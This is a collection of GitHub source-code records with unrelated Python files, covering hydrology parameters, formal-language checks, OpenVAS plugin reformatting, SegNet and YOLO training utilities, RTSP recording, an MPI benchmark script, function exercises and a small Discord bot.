\"c\"\n (|AngstromConstant|) on days without any direct sunshine [-].\"\"\"\n\n TYPE, TIME, SPAN = float, None, (0.0, 1.0)\n INIT = 0.15\n\n\nclass TemperatureAddend(meteo_parameters.ZipParameter1D):\n \"\"\"Temperature shift constant [°C].\"\"\"\n\n TYPE, TIME, SPAN = float, None, (None, None)\n INIT = 0.0\n\n\nclass PrecipitationFactor(meteo_parameters.ZipParameter1D):\n \"\"\"Precipitation adjustment factor [-].\"\"\"\n\n TYPE, TIME, SPAN = float, None, (0.0, None)\n INIT = 1.0\n","repo_name":"hydpy-dev/hydpy","sub_path":"hydpy/models/meteo/meteo_control.py","file_name":"meteo_control.py","file_ext":"py","file_size_in_byte":4682,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"} +{"seq_id":"3139580095","text":"# A = (0, 1)\n# L3 = todas as palavras começam com 1 e terminam com 0\ndesc = 'todas as palavras começam com 1 e terminam com 0'\n\nimport funcutils\n\nAteste = ['0', '1']\nwteste = '100000'\n\ndef main(w, A):\n\ttry:\n\t\tfuncutils.analizAlfb(w, A)\n\t\t\n\t\tif w[0] == '1' and w[-1] == '0':\n\t\t\treturn [True, 0]\n\t\telse:\n\t\t\traise Exception('w inválida: não começa com 1 ou não termina com 0')\n\texcept Exception as e:\n\t\treturn [False, e]\n\t\n\t\nif __name__=='__main__':\n\tmain(wteste, Ateste)\n","repo_name":"felipegarcia99/reconhecimento-linguagens-formais","sub_path":"l3.py","file_name":"l3.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1137475053","text":"import sys\r\nimport os\r\nimport os.path\r\n\r\nclass Ness:\r\n def read_ness(self, file):\r\n data_desc = ''\r\n with open(file, 'r') as f1:\r\n list_text = f1.readlines()\r\n \r\n desc_flag = False\r\n desc_head = 'include(\"ns_compat.inc\");\\n\\n'\r\n for line in list_text:\r\n if 'description' in line and 'if' in line and '(' in line and ')' in line and 'NASL_LEVEL' not in line and '1' not in line and '0' not in line and ';' not in line:\r\n desc_flag = True\r\n if desc_flag == True:\r\n data_desc = data_desc + line\r\n if 'exit(0)' in line or 'exit (0);' in line:\r\n data_desc = desc_head + data_desc + '\\n}'\r\n break\r\n\r\n data_desc = data_desc.replace('|', '')\r\n #print(data_desc)\r\n\r\n if desc_flag == True:\r\n #写数据\r\n with open(file, 'w') as f:\r\n f.write(data_desc)\r\n\r\nif __name__ == '__main__':\r\n NESS_PATH = '/usr/local/var/lib/openvas/plugins/'\r\n ness = Ness()\r\n\r\n count = 0\r\n for filename in os.listdir(NESS_PATH):\r\n if os.path.splitext(filename)[1] == '.nasl':\r\n count = count + 1\r\n script_file = NESS_PATH + filename\r\n print('process->' + str(count))\r\n ness.read_ness(script_file)","repo_name":"luweiwei1111/python_spider","sub_path":"other/data_process/ness_desc.py","file_name":"ness_desc.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"2656700977","text":"\"\"\"\nmain module\n\"\"\"\n\nimport os\nimport re\nimport shlex\nimport subprocess\nimport sys\nimport colorama\nimport glob2\n\nVERSION = '0.4.0'\n\ncolorama.init()\n\n\ndef ansi_escape(text):\n \"\"\"Removes ANSI escape codes from 'text'.\"\"\"\n reaesc = re.compile(r'\\x1b[^m]*m')\n return reaesc.sub('', text)\n\n\ndef build_path(pattern, path, *values):\n \"\"\"Build path\"\"\"\n dirname = os.path.dirname(path)\n defaults = {\n 'beforeext':os.path.splitext(path)[0],\n 'dirname': ('') if dirname == '' else dirname + '\\\\',\n 'filename':os.path.splitext(os.path.basename(path))[0]\n }\n merged = defaults.copy()\n if values:\n merged.update(*values)\n return os.path.normpath(pattern.format(**merged))\n\n#def cmd(command, stderr=None):\n# \"\"\"Execute command.\"\"\"\n# return subprocess.Popen(\n# shlex.split(command),\n# stdout=subprocess.PIPE,\n# stderr=stderr,\n# universal_newlines=True\n# ).communicate()[0]\n\n\ndef cmd(command, stderr=None, echo=False):\n \"\"\"Execute command.\"\"\"\n iswrite = False\n cols = 120\n output = ''\n #print command\n #print 'stderr =', stderr\n #print 'echo =', echo\n process = subprocess.Popen(\n shlex.split(command),\n stdout=subprocess.PIPE,\n stderr=stderr,\n universal_newlines=True\n )\n #print 'subprocess stderr', process.stderr\n while True:\n line = process.stdout.readline()\n output += line\n if not line:\n break\n if echo:\n # cols = terminalsize.get_terminal_size()[0] - 2\n # sys.stdout.write(Back.BLACK\n # + Fore.LIGHTGREEN_EX + '\\r '\n # + line[:cols][:-1].ljust(cols-1))\n sys.stdout.write('\\033[2K\\r {c}{t}'.format(c=colorama.Fore.GREEN, t=line[:cols][:-1]))\n iswrite = True\n if echo and iswrite:\n sys.stdout.write('\\033[0K\\n')\n return output\n\n\ndef fix_existing_path(path):\n \"\"\"Returns a path with numbered (...-n) filename if path is exists\"\"\"\n if os.path.isfile(path):\n i = 0\n pieces = os.path.splitext(path)\n while True:\n i += 1\n path = '{root}-{index}{ext}'.format(root=pieces[0], index=i, ext=pieces[1])\n if not os.path.isfile(path):\n break\n return path\n\n\ndef iterate_path(path, callback, *args, **kwargs):\n \"\"\"Iterate through the 'path' and call callback function on every item.\"\"\"\n lst = glob2.glob(path)\n total = len(lst)\n index = 0\n for src in lst:\n index += 1\n callback(*args, src=src, total=total, index=index, **kwargs)\n\n\ndef set_environ(key, value=None):\n \"\"\"\n Set 'key' environment variable to the given 'value'.\n If 'value' is None, delete 'key' environment variable (if it exists).\n\n Args:\n key: The name of the environment variable.\n value: The value of the environment variable.\n \"\"\"\n if value is None:\n if os.environ.has_key(key):\n del os.environ[key]\n else:\n os.environ[key] = value\n\n\nclass Log(object):\n \"\"\"\n Log to console and file\n \"\"\"\n separator = '\\n' + '-'*160 + '\\n\\n'\n\n def __init__(self, filename, silent=False):\n self.file = open(filename, 'w')\n self.console = sys.stdout\n self.silent = silent\n\n def close(self):\n \"\"\"close\"\"\"\n self.file.close()\n\n def sep(self):\n \"\"\"separator\"\"\"\n if self.silent is False:\n self.console.write(Log.separator)\n self.file.flush()\n self.file.write(Log.separator)\n self.file.flush()\n\n def write(self, message):\n \"\"\"write\"\"\"\n if self.silent is False:\n self.console.write(message)\n #if not message.startswith('\\033[2K'):\n if not re.match(r'^\\033\\[\\dK', message):\n self.file.write(ansi_escape(message))\n","repo_name":"janosfoldes/stream-mill","sub_path":"lib/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19686773383","text":"import keras\nfrom keras.models import *\nfrom keras.layers import *\nfrom types import MethodType\nfrom data_loader import *\n\nIMAGE_ORDERING = 'channels_last'\n\ndef train(model,\n train_images,\n train_annotations,\n input_height=None,\n input_width=None,\n n_classes=None,\n epochs=6,\n batch_size=16,\n validate=False,\n val_images=None,\n val_annotations=None,\n val_batch_size=32,\n load_weights=None,\n steps_per_epoch=512,\n optimizer_name='adadelta'\n ):\n \n checkpoints_path = \"drive/My Drive/NNDS/project/weights/segnet3_weights.h5\"\n n_classes = model.n_classes\n input_height = model.input_height\n input_width = model.input_width\n output_height = model.output_height\n output_width = model.output_width\n\n if optimizer_name is not None:\n model.compile(loss='categorical_crossentropy',\n optimizer=optimizer_name,\n metrics=['accuracy'])\n\n if load_weights is not None and len(load_weights) > 0:\n print(\"Loading weights from \", load_weights)\n model.load_weights(load_weights)\n\n train_gen = image_segmentation_generator(\n train_images, train_annotations, batch_size, n_classes,\n input_height, input_width, output_height, output_width)\n\n if validate:\n val_gen = image_segmentation_generator(\n val_images, val_annotations, val_batch_size,\n n_classes, input_height, input_width, output_height, output_width)\n\n if not validate:\n for ep in range(epochs):\n print(\"Starting Epoch \", ep)\n model.fit_generator(train_gen, steps_per_epoch, epochs=1,\n workers=-1,\n use_multiprocessing=True)\n model.save_weights(checkpoints_path)\n print(\"Finished Epoch\", ep)\n else:\n for ep in range(epochs):\n print(\"Starting Epoch \", ep)\n model.fit_generator(train_gen, steps_per_epoch,\n validation_data=val_gen,\n validation_steps=200, epochs=1,\n workers=-1,\n use_multiprocessing=True)\n model.save_weights(checkpoints_path)\n print(\"Finished Epoch\", ep)\n\ndef predict(model = None, inp=None, out_fname=None, input_height = 416, input_width = 608, colors = class_colors):\n \n if isinstance(inp, six.string_types):\n inp = cv2.imread(inp)\n\n orininal_h = inp.shape[0]\n orininal_w = inp.shape[1]\n\n output_width = model.output_width\n output_height = model.output_height\n input_width = model.input_width\n input_height = model.input_height\n n_classes = model.n_classes\n\n x = get_image_array(inp, input_width, input_height)\n pr = model.predict(np.array([x]))[0]\n pr = pr.reshape((output_height, output_width, n_classes)).argmax(axis=2)\n\n seg_img = np.zeros((output_height, output_width, 3))\n\n for c in range(n_classes):\n seg_img[:, :, 0] += ((pr[:, :] == c)*(colors[c][0])).astype('uint8')\n seg_img[:, :, 1] += ((pr[:, :] == c)*(colors[c][1])).astype('uint8')\n seg_img[:, :, 2] += ((pr[:, :] == c)*(colors[c][2])).astype('uint8')\n\n seg_img = cv2.resize(seg_img, (orininal_w, orininal_h))\n\n if out_fname is not None:\n cv2.imwrite(out_fname, seg_img)\n\n return pr\n\ndef predict_segmentation(model, input_height = 416, input_width = 608, \n path = \"drive/My Drive/NNDS/project/weights/segnet3_weights.h5\"):\n ## load model\n model.load_weights(path)\n\n test_folder = glob.glob('drive/My Drive/NNDS/project/CamVid/test/*.png')\n for file in tqdm(test_folder):\n file_name = file.split('/')[-1]\n out = predict(model,\n inp=file,\n out_fname=f\"drive/My Drive/NNDS/project/CamVid/Predictions/{file_name}\")\n\ndef evaluate_segmentation(model, inp_images_dir=None, annotations_dir=None,\n img_height = 416, img_width = 618,\n path = \"drive/My Drive/NNDS/project/weights/segnet3_weights.h5\"):\n \n model.load_weights(path)\n \n images = glob.glob(inp_images_dir + \"*.jpg\") + glob.glob(inp_images_dir + \"*.png\") + glob.glob(inp_images_dir + \"*.jpeg\")\n images.sort()\n segmentations = glob.glob(annotations_dir + \"*.jpg\") + glob.glob(annotations_dir + \"*.png\") + glob.glob(annotations_dir + \"*.jpeg\")\n segmentations.sort()\n\n n_classes = model.n_classes \n \n tp = np.zeros(n_classes)\n fp = np.zeros(n_classes)\n fn = np.zeros(n_classes)\n n_pixels = np.zeros(n_classes)\n \n for inp, ann in tqdm(zip(images, segmentations)):\n pr = predict(model, inp)\n gt = get_segmentation_array(ann, n_classes, model.output_width, model.output_height, no_reshape=True)\n gt = gt.argmax(-1)\n pr = pr.flatten()\n gt = gt.flatten()\n \n for cl_i in range(n_classes):\n \n tp[ cl_i ] += np.sum((pr == cl_i) * (gt == cl_i))\n fp[ cl_i ] += np.sum((pr == cl_i) * ((gt != cl_i)))\n fn[ cl_i ] += np.sum((pr != cl_i) * ((gt == cl_i)))\n n_pixels[cl_i] += np.sum(gt == cl_i)\n \n cl_wise_score = tp / ( tp + fp + fn + 0.000000000001 )\n n_pixels_norm = n_pixels/np.sum(n_pixels)\n frequency_weighted_IU = np.sum(cl_wise_score*n_pixels_norm)\n mean_IU = np.mean(cl_wise_score)\n return {\"frequency_weighted_IU\":frequency_weighted_IU , \"mean_IU\":mean_IU , \"class_wise_IU\":cl_wise_score }\n","repo_name":"nguyenphuhien13/NNDS_project_segnet","sub_path":"train_and_predict.py","file_name":"train_and_predict.py","file_ext":"py","file_size_in_byte":5653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41919838582","text":"import cv2\nimport os\n\n\"\"\"\nhttps://github.com/opencv/opencv-python\n\"\"\"\n\n\ndef save_video_from_rtsp(save_path, video_filename, rtsp):\n recording_time_second = 10\n frame_per_second = 30\n video_path = os.path.join(save_path, video_filename)\n video_capture = cv2.VideoCapture(rtsp)\n if not video_capture.isOpened():\n print(\"Video Capture cannot open.\")\n return\n video_codec = cv2.VideoWriter_fourcc(*\"avc1\")\n retval, video_frame = video_capture.read()\n if video_frame is not None:\n video_writer = cv2.VideoWriter(\n video_path, video_codec, frame_per_second, (video_frame.shape[1], video_frame.shape[0])\n )\n frame_index = 0\n\n while video_capture.isOpened():\n if frame_index == frame_per_second * recording_time_second:\n break\n retval, frame = video_capture.read()\n if not retval:\n break\n video_writer.write(frame)\n frame_index += 1\n\n if video_writer.isOpened():\n video_writer.release()\n video_capture.release()\n return video_path\n\n\nif __name__ == \"__main__\":\n rtsp_url = \"rtsp://Input your rtsp url here\"\n video_path = save_video_from_rtsp(\"./\", \"video.mp4\", rtsp_url)\n","repo_name":"taptorestart/python-examples","sub_path":"packages/opencv/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"9385905440","text":"import os\nimport sys\ninclude_str = \"#include\\n#include \\n\"\n\ntest1 = [['8000000','8','8','8'],\n ['8','8000000','8000000','8'],\n ['800','800','800','800']]\n\ntest2 = list()\nfor i in range(100, 2001, 100):\n test2.append([str(i),str(i),str(i),str(i)])\n\ndef some(elems, file_in, file_out):\n a_rows = \"#define A_ROWS \" + elems[0] + \"\\n\"\n a_cols = \"#define A_COLUMNS \" + elems[1] + \"\\n\"\n b_rows = \"#define B_ROWS \" + elems[2] + \"\\n\"\n b_cols = \"#define B_COLUMNS \" + elems[3] + \"\\n\"\n lines = None\n with open(file_in) as f:\n lines = f.readlines()\n f = open(file_out,\"w\")\n\n f.write(include_str + a_rows + a_cols + b_rows + b_cols)\n\n for elem in lines:\n f.write(elem)\n f.close()\n\ntest = test1\n\nif sys.argv[1] == \"mpi\":\n include_str = include_str + \"#include \\n\"\n for mode in (3,):\n print(\"Mode: \" + str(mode-1))\n for elems in test:\n some(elems, \"template_mpi.txt\", \"new.c\")\n os.system('mpicc -o prog new.c -O3')\n os.system('mpirun -n ' + str(mode) +' ./prog')\nelse:\n print(\"Mode: 1\")\n for elems in test:\n some(elems, \"template_seq.txt\", \"circ.c\")\n os.system(\"gcc -o prog circ.c -O3\")\n os.system(\"./prog\")\n","repo_name":"shakandrew/APP-ULPGC","sub_path":"MPI/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74121383411","text":"from typing import Optional, List, Tuple, Union\nimport pandas as pd\nimport torch\nfrom torch.utils.data import Dataset, random_split\nfrom torch import Generator\nfrom transformers import GPT2Tokenizer\n\nclass IelstDataset(Dataset):\n q_tag = \"<|question|>\"\n a_tag = \"<|answer|>\"\n tokenizer = GPT2Tokenizer.from_pretrained(\n \"gpt2\",\n eos_token=\"<|endoftext|>\", \n pad_token=\"<|endoftext|>\",\n additional_special_tokens=[q_tag, a_tag]\n )\n def __init__(\n self, \n csv_path: str, \n max_length: Optional[int]=None, \n padding: bool=True):\n \n self.df = pd.read_csv(csv_path)\n self.max_length = max_length\n self.padding = \"max_length\" if padding else False\n\n \n def __len__(self):\n return len(self.df)\n \n def __getitem__(self, id):\n row = self.df.iloc[id]\n question = row[\"question\"]\n answer = row[\"answer\"]\n text = self.q_tag + question + self.a_tag + answer + \"<|endoftext|>\"\n encode_dict = self.tokenizer(text, padding=self.padding, truncation=True, max_length=self.max_length, return_tensors=\"pt\")\n self.tokenizer(text, padding=self.padding, truncation=True, max_length=self.max_length, return_tensors=\"pt\")\n return encode_dict[\"input_ids\"], encode_dict[\"attention_mask\"], text\n\ndef train_val_split(dataset: Dataset, train_ratio: float=0.85, seed=0):\n train_len = int(len(dataset) *train_ratio)\n val_len = len(dataset) - train_len\n train_set, val_set = random_split(dataset, [train_len, val_len], generator=Generator().manual_seed(seed))\n return train_set, val_set","repo_name":"XuanVuNguyen/ielts_writer","sub_path":"model/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74495717494","text":"import skimage.io as io\nimport matplotlib.pyplot as plt\n\nimg_rgb = io.imread(\"didico.jpg\")\nimg_mirror = img_rgb[:,::-1,:]\n\nplt.imshow(img_rgb)\nplt.show()\n\nplt.imshow(img_mirror)\nplt.show()\n\nlinha,coluna = img_rgb.shape\nprint('Linhas:',linha,'Colunas:',coluna)\n\n","repo_name":"luigill/processamento-digital-imagens","sub_path":"exercicios_prova/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72872707572","text":"import unittest\nimport numpy as np\nimport synthetics as syn\nimport signal_proc as sp\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(SimpleTests('test_smooth'))\n\n return suite\n \n \nclass SimpleTests(unittest.TestCase):\n \n def setUp(self):\n self.npts = 3000\n self.dt = 0.01\n self.poly_coefs = [0.05, -0.75, 0.1, 1.0]\n self.tr = syn.gen_sweep_poly(self.dt, self.npts, self.poly_coefs)\n \n def test_smooth(self):\n imax_fraction = 0.2\n max_amp = 300\n tr, modulation = syn.modulate_trace_triangle(self.tr, imax_fraction, \n max_amp)\n smooth_modulation = sp.smooth(modulation)\n self.assertEqual(len(modulation), len(smooth_modulation))\n self.assertEqual(np.argmax(modulation), np.argmax(smooth_modulation))\n\n\n\nif __name__ == '__main__':\n\n unittest.TextTestRunner(verbosity=2).run(suite())\n","repo_name":"hibertclement/eqdiscrim","sub_path":"eqdiscrim/test_signalproc.py","file_name":"test_signalproc.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30283035854","text":"import math\n\n# 内置函数\nabs(-200)\nmax(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)\n# 数据类型转换\nint('123')\nfloat('123.123')\nstr(1.23)\nbool(1)\nbool('')\n\na = abs\nx = a(123.45)\nprint(x)\n\nn1 = 255\nn2 = 1000\nprint(hex(n1))\n\n\ndef my_abs(x):\n if not isinstance(x, (int, float)):\n raise TypeError('x must be an integer or float')\n if x >= 0:\n return x\n else:\n return -x\n\n\ndef nop(age):\n if age >= 18:\n pass\n\n\ndef move(x, y, step, angle=0):\n nx = x + step * math.cos(angle)\n ny = y + step * math.sin(angle)\n return nx, ny\n\n\nr = move(100, 100, 60, math.pi / 6)\n\n\ndef quadratic(a, b, c):\n if not isinstance(a * b * c, (float, int)):\n raise TypeError(\"quadratic must be a float or int\")\n q = b ** 2 - 4 * a * c\n if q < 0:\n print('no solution')\n elif q == 0:\n print('此方程的解是唯一的')\n x = (-b) / (2 * a)\n print(x)\n else:\n x1 = ((-b + math.sqrt(q)) / (2 * a))\n x2 = ((-b - math.sqrt(q)) / (2 * a))\n return x1, x2\n\n\ndef enroll(name, gender, age=6, city='Beijing'):\n pass\n\n\ndef add_end(L=None):\n if L is None:\n L = []\n L.append('END')\n return L\n\n\n# 可变参数\n# 可变参数在函数调用时自动组装为一个tuple\n\n\ndef calc(*numbers):\n sum = 0\n for n in numbers:\n sum += n ** 2\n return sum\n\n\nnums = [1, 2, 3]\ncalc(*nums)\n\n\n# 关键字参数\n# 允许你传入0个或任意个含参数名的参数,这些关键字参数在函数内部自动组装为一个dict\n\n\ndef person(name, age, **kw):\n print('name:', name, 'age:', age, 'other:', kw)\n\n\nperson('Bob', 35, city='Beijing')\n# name: Bob age: 35 other: {'city': 'Beijing'}\n\nextra = {'city': 'Beijing', 'job': 'Engineer'}\nperson('Bob', 35, **extra)\n\n\n# 命名关键字参数\n# 函数的调用者可以传入任意不受限制的关键字参数, *后面的参数被视为命名关键字参数\n\n\ndef person_2(name, age, *, city='Beijing', job):\n print(name, age, city, job)\n\n\n# 参数组合\n\n\ndef f1(a, b, c=0, *args, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)\n\n\n# 使用命名关键字参数时,要特别注意,如果没有可变参数,就必须加一个*作为特殊分隔符\n\n\ndef f2(a, b, c=0, d=1, *arg, e, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'e =', e, 'kw =', kw, 'arg = ', arg)\n\n\nf2(1, 2, 3, 4, 56, 7, 8, 9, 0, e=4, f=9)\n\n\n# 练习\ndef mul(*numbers):\n if not len(numbers) == 0:\n sum = 1\n for n in numbers:\n if not isinstance(n, (int, float)):\n continue # 跳出本次循环,执行下次循环\n sum *= n\n return sum\n else:\n raise TypeError('numbers must be a list')\n\n\n# 测试\nprint('mul(5) =', mul(5))\nprint('mul(5, 6) =', mul(5, 6))\nprint('mul(5, 6, 7) =', mul(5, 6, 7))\nprint('mul(5, 6, 7, 9) =', mul(5, 6, 7, 9))\n\nif mul(5) != 5:\n print('测试失败!')\nelif mul(5, 6) != 30:\n print('测试失败!')\nelif mul(5, 6, 7) != 210:\n print('测试失败!')\nelif mul(5, 6, 7, 9, 'test') != 1890:\n print('测试失败!')\nelse:\n try:\n mul()\n print('测试失败!')\n except TypeError:\n print('测试成功!')\n\n\n# 递归\ndef fact_1(n):\n if n == 1:\n return 1\n else:\n return n * fact(n - 1)\n\n\n# 尾递归优化\ndef fact(n):\n return fact_iter(n, 1)\n\n\ndef fact_iter(num, product):\n if num == 1:\n return product\n return fact_iter(num - 1, num * product)\n\n\nprint('fact_iter', fact(10))\n\n\n# 汉诺塔问题实现\n# a存放起始柱,b存放辅助柱、c存放目标柱\ndef move(n, a, b, c):\n if n == 1:\n print(a, '--->', c)\n else:\n move(n - 1, a, c, b) # 借助c把第 num 个以外的圆盘从a移动到b\n move(1, a, b, c) # 把第num个从a移动到c\n move(n - 1, b, a, c) # 借助a把第 num 个以外的圆盘从b移动到c\n\n\nmove(3, 'A', 'B', 'C')\n\n\n# 返回函数\ndef lazy_sum(*args):\n def sum():\n ax = 0\n for n in args:\n ax = ax + n\n return ax\n\n return sum\n\n\nf = lazy_sum(1, 2, 3, 4, 5)\nprint(f())\n\n\n# 闭包\ndef count():\n fs = []\n\n def f(j):\n def g():\n return j * j\n\n return g\n\n for i in range(1, 4):\n fs.append(f(i))\n return fs\n\n\nf1, f2, f3 = count()\nprint(f1())\nprint(f2())\nprint(f3())\n\n# 一个函数可以返回一个计算结果,也可以返回一个函数。\n\n# 返回一个函数时,牢记该函数并未执行,返回函数中不要引用任何可能会变化的变量。\n\ndef createCounter():\n x = 0\n def counter():\n nonlocal x # 如果对外层变量赋值,由于Python解释器会把x当作函数fn()的局部变量,它会报错:\n x = x + 1\n return x\n return counter\n\n\ncounterA = createCounter()\nprint(counterA(), counterA(), counterA(), counterA(), counterA())\n\n# lambda函名函数\ndef is_odd(n):\n return n % 2 == 1\n\nL = list(filter(lambda n: n % 2 == 1, range(1, 20)))\nprint(L)\n","repo_name":"ginger-coder/python-study","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29337299015","text":"import discord\nimport asyncio\nimport random\nfrom discord.ext import commands\n\nwith open('token.txt', 'r') as f:\n token = f.read()\n\nbot = commands.Bot(command_prefix='!', intents=discord.Intents.all(), help_command=None)\n\n\n@bot.event\nasync def on_ready():\n print(f'Bot is online.\\nBot name: {bot.user.name}')\n\n\n@bot.command()\nasync def hello(ctx: commands.Context):\n await ctx.send(f'hi {ctx.author.mention}')\n\n\n@bot.command()\nasync def math(ctx: commands.Context):\n num1 = random.randint(1, 100)\n num2 = random.randint(1, 100)\n operator = random.choice(['+', '-'])\n if operator == '-':\n qus_in_str = f\"**{ctx.author}** your math question is {num1} - {num2} you have 10 seconds\"\n anwser = num1 - num2\n only_qus = f\"{num1} - {num2}\"\n if operator == '+':\n qus_in_str = f\"**{ctx.author}** your math question is {num1} + {num2} you have 10 seconds\"\n anwser = num1 + num2\n only_qus = f\"{num1} + {num2}\"\n await ctx.send(qus_in_str)\n\n def check(m: discord.Message):\n return m.author.id == ctx.author.id and m.channel.id == ctx.message.channel.id\n\n try:\n msg = await bot.wait_for('message', check=check, timeout=10)\n\n except asyncio.TimeoutError:\n await ctx.send(f\"**{ctx.author.mention}**time out!\\nthe anwser for {only_qus} is {anwser}\")\n return\n else:\n if operator == '+':\n if anwser == int(msg.content):\n await ctx.send('nice')\n else:\n await ctx.send(f'wrong the anwser for {only_qus} is {anwser}')\n if operator == '-':\n if anwser == int(msg.content):\n await ctx.send('nice')\n else:\n await ctx.send(f'wrong the anwser for {only_qus} is {anwser}')\n\n\n@bot.command()\nasync def reply(ctx: commands.Context):\n await ctx.reply('hey this is message reply')\n\n\n@bot.command()\nasync def edit(ctx: commands.Context):\n msg = await ctx.send('hey this is a message before edit')\n await asyncio.sleep(3)\n await msg.edit(content='**this is a message after edit**')\n\n\n@commands.has_permissions(administrator=True)\n@bot.command()\nasync def delete(ctx: commands.Context, amount: int):\n await ctx.channel.purge(limit=amount)\n await ctx.author.send(f'deleted {amount} messages in {ctx.message.channel.mention}')\n\n\nbot.run(token)\n","repo_name":"idopy/videos","sub_path":"ep2.py","file_name":"ep2.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19274401842","text":"import numpy as np\nimport pycocotools.coco as coco\n\nclass YOLO_Kmeans:\n\n def __init__(self, cluster_number,filename):\n self.cluster_number = cluster_number\n self.filename = filename\n\n def iou(self, boxes, clusters): # 1 box -> k clusters\n n = boxes.shape[0]\n k = self.cluster_number\n\n box_area = boxes[:, 0] * boxes[:, 1]\n box_area = box_area.repeat(k)\n box_area = np.reshape(box_area, (n, k))\n\n cluster_area = clusters[:, 0] * clusters[:, 1]\n cluster_area = np.tile(cluster_area, [1, n])\n cluster_area = np.reshape(cluster_area, (n, k))\n\n box_w_matrix = np.reshape(boxes[:, 0].repeat(k), (n, k))\n cluster_w_matrix = np.reshape(np.tile(clusters[:, 0], (1, n)), (n, k))\n min_w_matrix = np.minimum(cluster_w_matrix, box_w_matrix)\n\n box_h_matrix = np.reshape(boxes[:, 1].repeat(k), (n, k))\n cluster_h_matrix = np.reshape(np.tile(clusters[:, 1], (1, n)), (n, k))\n min_h_matrix = np.minimum(cluster_h_matrix, box_h_matrix)\n inter_area = np.multiply(min_w_matrix, min_h_matrix)\n\n result = inter_area / (box_area + cluster_area - inter_area)\n return result\n\n def avg_iou(self, boxes, clusters):\n accuracy = np.mean([np.max(self.iou(boxes, clusters), axis=1)])\n return accuracy\n\n def kmeans(self, boxes, k, dist=np.median):\n box_number = boxes.shape[0]\n distances = np.empty((box_number, k))\n last_nearest = np.zeros((box_number,))\n np.random.seed()\n clusters = boxes[np.random.choice(\n box_number, k, replace=False)] # init k clusters\n while True:\n distances = 1 - self.iou(boxes, clusters)\n current_nearest = np.argmin(distances, axis=1)\n if (last_nearest == current_nearest).all():\n break # clusters won't change\n for cluster in range(k):\n clusters[cluster] = dist( # update clusters\n boxes[current_nearest == cluster], axis=0)\n last_nearest = current_nearest\n return clusters\n\n def json2boxes(self):\n print('==> load {} data.'.format(self.filename ))\n self.coco = coco.COCO(self.filename )\n self.images = self.coco.getImgIds()\n self.num_samples = len(self.images)\n print('Loaded {} samples'.format(self.num_samples))\n dataSet = []\n for img_id in self.images:\n image_detail = self.coco.loadImgs(ids=[img_id])[0]\n height,width = image_detail['height'],image_detail['width']\n ann_ids = self.coco.getAnnIds(imgIds=[img_id])\n anns = self.coco.loadAnns(ids=ann_ids)\n for k in range(len(anns)):\n ann = anns[k]\n w,h = ann['bbox'][2:]\n dataSet.append([w/width, h/height])\n result = np.array(dataSet)\n return result\n\n def json2clusters(self):\n all_boxes = self.json2boxes()\n result = self.kmeans(all_boxes, k=self.cluster_number)\n result = result[np.lexsort(result.T[0, None])]\n print(\"Accuracy: {:.2f}%\".format(\n self.avg_iou(all_boxes, result) * 100))\n result = np.reshape(np.around(result,5),[self.cluster_number//3,3,2]).tolist()\n print(\"K anchors:\\n {}\".format(result))\n\n\nif __name__ == \"__main__\":\n cluster_number = 9\n filename = '/data/DataSet/person_helmet/coco2017/annotations/instances_train2017.json'\n kmeans = YOLO_Kmeans(cluster_number, filename)\n kmeans.json2clusters()","repo_name":"fred1912/torch-yolov3","sub_path":"utils/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12594233301","text":"# 8-6 城市名 :编写一个名为city_country() 的函数,它接受城市的名称及其所属的国家。这个函数应返回一个格式类似于下面这样的字符串:\n# \"Santiago, Chile\"\n# 至少使用三个城市-国家对调用这个函数,并打印它返回的值。\ndef city_country(city,country):\n city_name = city.title()+' '+country.title()\n return city_name\nbeijing = city_country('beijing','china')\nprint(beijing)\ntokyo = city_country('tokyo','japan')\nprint(tokyo)\nshanghai = city_country('shanghai','china')\nprint(shanghai)\n\n# 8-7 专辑 :编写一个名为make_album() 的函数,它创建一个描述音乐专辑的字典。这个函数应接受歌手的名字和专辑名,并返回一个包含这两项信息的字典。使\n# 用这个函数创建三个表示不同专辑的字典,并打印每个返回的值,以核实字典正确地存储了专辑的信息。\ndef make_album(name,music):\n album_discribe = {'name':name.title(),'music':music.title()}\n return album_discribe\nmusic1 = make_album('jay','yehuimei')\nprint(music1)\nmusic2 = make_album('JJ','jiangnan')\nprint(music2)\nmusic3 = make_album('chen li','yiranyibaozha')\nprint(music3)\n# 给函数make_album() 